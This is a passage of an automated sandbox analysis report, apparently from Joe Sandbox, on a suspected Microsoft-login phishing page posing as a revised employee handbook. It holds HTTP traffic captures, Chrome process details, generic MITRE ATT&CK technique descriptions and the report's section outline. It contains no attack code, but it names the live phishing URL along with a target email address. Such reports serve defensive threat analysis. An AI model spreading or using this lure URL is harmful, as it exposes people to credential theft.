N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.17	49816	23.209.72.31	443	3392	C:\Users\user\AppData\Local\Chromium\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:22 UTC	672	OUT	GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Not.A/Brand";v="8", "Chromium";v="114" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://revisedemployeehandbook.journeythroughruins.de/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
2025-04-02 06:39:22 UTC	612	IN	HTTP/1.1 200 OK Content-Type: image/svg+xml Content-MD5: DhdidjYrlCeaRJJRG/y9mA== Last-Modified: Wed, 15 Jan 2025 17:54:26 GMT ETag: "0x8DD358DA72AAF33" x-ms-request-id: d9dbeb0f-b01e-00e4-2876-67c4b2000000 x-ms-version: 2018-03-28 Access-Control-Expose-Headers: Accept-Ranges,Cache-Control,Content-Encoding,Content-Length,Content-MD5,Content-Type,Date,ETag,Last-Modified,Server,x-ms-request-id,x-ms-version Access-Control-Allow-Origin: * Cache-Control: public, max-age=24923669 Date: Wed, 02 Apr 2025 06:39:22 GMT Content-Length: 1864 Connection: close Akamai-GRN: 0.9f04d217.1743575962.9a974fb
2025-04-02 06:39:22 UTC	1864	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 34 30 31 2e 36 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.17	49819	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:22 UTC	199	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.17	49825	23.209.72.9	443	3392	C:\Users\user\AppData\Local\Chromium\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:22 UTC	431	OUT	GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
2025-04-02 06:39:22 UTC	612	IN	HTTP/1.1 200 OK Content-Type: image/svg+xml Content-MD5: DhdidjYrlCeaRJJRG/y9mA== Last-Modified: Wed, 15 Jan 2025 17:54:26 GMT ETag: "0x8DD358DA72AAF33" x-ms-request-id: d9dbeb0f-b01e-00e4-2876-67c4b2000000 x-ms-version: 2018-03-28 Access-Control-Expose-Headers: Accept-Ranges,Cache-Control,Content-Encoding,Content-Length,Content-MD5,Content-Type,Date,ETag,Last-Modified,Server,x-ms-request-id,x-ms-version Access-Control-Allow-Origin: * Cache-Control: public, max-age=24923634 Date: Wed, 02 Apr 2025 06:39:22 GMT Content-Length: 1864 Connection: close Akamai-GRN: 0.8904d217.1743575962.2b61688
2025-04-02 06:39:22 UTC	1864	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 34 30 31 2e 36 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6

Statistics

CPU Usage

• chrome.exe
• chrome.exe
• chrome.exe

Click to jump to process

Memory Usage

• chrome.exe
• chrome.exe
• chrome.exe

Click to jump to process

Behavior

All data are 0.

System Behavior

Analysis Process: chrome.exePID: 6960, Parent PID: 4500

Function Logs

General

Target ID:	0
Start time:	02:38:48
Start date:	02/04/2025
Path:	C:\Users\user\AppData\Local\Chromium\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Chromium\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff679430000
File size:	2'450'432 bytes
MD5 hash:	B6CB00FCB81D3B66870817AEBE7163BB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

File Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

Show Windows behavior

Registry Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

Show Windows behavior

Process Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

Show Windows behavior

Thread Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

Show Windows behavior

Memory Activities

Memory Usage Statistics

Show Windows behavior

Timing Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

Show Windows behavior

Windows UI Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

Show Windows behavior

Process Token Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 3392, Parent PID: 6960

Function Logs

General

Target ID:	1
Start time:	02:38:49
Start date:	02/04/2025
Path:	C:\Users\user\AppData\Local\Chromium\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Chromium\Application\chrome.exe" --no-sandbox --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --start-stack-profiler --mojo-platform-channel-handle=2064 --field-trial-handle=1964,i,5711575836952122047,2672629311710222216,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff679430000
File size:	2'450'432 bytes
MD5 hash:	B6CB00FCB81D3B66870817AEBE7163BB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

File Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

Show Windows behavior

Thread Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

Show Windows behavior

Memory Activities

Memory Usage Statistics

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 736, Parent PID: 4500

Function Logs

General

Target ID:	3
Start time:	02:38:50
Start date:	02/04/2025
Path:	C:\Users\user\AppData\Local\Chromium\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Chromium\Application\chrome.exe" "https://revisedemployeehandbook.journeythroughruins.de/GWjWH/?e=nagal.meegel@VSFroup.de"
Imagebase:	0x7ff679430000
File size:	2'450'432 bytes
MD5 hash:	B6CB00FCB81D3B66870817AEBE7163BB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

File Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

Show Windows behavior

Process Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse various implementations of JavaScript for execution. JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://revisedemployeehandbook.journeythroughruins.de/GWjWH/?e=nagal.meegel@VSFroup.de

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Spelling\en-GB\default.acl

C:\Users\user\AppData\Roaming\Microsoft\Spelling\en-GB\default.dic

C:\Users\user\AppData\Roaming\Microsoft\Spelling\en-GB\default.exc

Static File Info

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Statistics

CPU Usage

Memory Usage

Behavior

System Behavior

Analysis Process: chrome.exePID: 6960, Parent PID: 4500

General

File Activities

File Opened

File Created

File Deleted

File Moved

Other File Operations

Registry Activities

Key Value Deleted

Process Activities

Process Created

Windows Analysis Report
https://revisedemployeehandbook.journeythroughruins.de/GWjWH/?e=nagal.meegel@VSFroup.de